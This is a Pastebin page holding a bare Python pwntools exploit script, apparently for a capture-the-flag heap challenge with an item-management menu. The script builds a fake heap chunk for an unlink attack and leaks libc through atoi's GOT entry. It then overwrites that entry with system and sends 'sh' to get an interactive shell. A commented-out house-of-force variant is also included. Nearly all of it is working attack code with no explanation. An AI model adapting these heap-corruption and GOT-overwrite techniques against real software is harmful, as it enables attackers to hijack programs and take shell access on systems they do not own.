Advertisement
Guest User

Untitled

a guest
Apr 29th, 2017
66
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.44 KB | None | 0 0
  1. #!/usr/bin/env python
  2. # -*- coding: utf-8 -*-
  3. #from pwnpwnpwn import *
  4. from pwn import *
  5.  
  6.  
  7. r = remote(host,port)
  8.  
  9. def additem(length,name):
  10. r.recvuntil(":")
  11. r.sendline("2")
  12. r.recvuntil(":")
  13. r.sendline(str(length))
  14. r.recvuntil(":")
  15. r.sendline(name)
  16.  
  17. def modify(idx,length,name):
  18. r.recvuntil(":")
  19. r.sendline("3")
  20. r.recvuntil(":")
  21. r.sendline(str(idx))
  22. r.recvuntil(":")
  23. r.sendline(str(length))
  24. r.recvuntil(":")
  25. r.sendline(name)
  26.  
  27. def remove(idx):
  28. r.recvuntil(":")
  29. r.sendline("4")
  30. r.recvuntil(":")
  31. r.sendline(str(idx))
  32.  
  33. def show():
  34. r.recvuntil(":")
  35. r.sendline("1")
  36.  
  37. magic = 0x400d49 #disas magic
  38.  
  39.  
  40.  
  41. additem(0x80,"a") #p
  42. additem(0x80,"b") #q
  43. additem(0x80,"c") #r
  44.  
  45. fake_prev = 0
  46. fake_size = 0x81
  47. fd = 0x6020d8 - 0x18
  48. bk = 0x6020d8 - 0x10
  49.  
  50. modify(0,0x300,"a"*0x90 + p64(fake_size) + p64(fake_prev) + p64(fd) + p64(bk) + "\x00"*0x60 + p64(fake_size - 1) + p64(0x90))
  51.  
  52.  
  53. remove(2)
  54.  
  55. atoi_got = 0x0000000000602068
  56.  
  57. modify(1, 0x80, p64(0xdeadbeef) + p64(atoi_got))
  58.  
  59. show()
  60.  
  61. r.recvuntil("0 : ")
  62. data = r.recvuntil("\n")[:-1][:6]
  63. atoi_addr = u64(data.ljust(8, "\x00"))
  64. libc = atoi_addr - 0x36e80
  65. system = libc + 0x45390
  66.  
  67. modify(0,0x8,p64(system))
  68.  
  69. r.recvuntil(":")
  70. r.sendline("sh")
  71.  
  72.  
  73. # additem(0x70,"ddaa")
  74. # modify(0,0x81,"a"*0x78 + p64(0xffffffffffffffff))
  75. # additem(-0xb0,"dada")
  76. # additem(0x20, "a"*8 + p64(magic))
  77. r.interactive()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement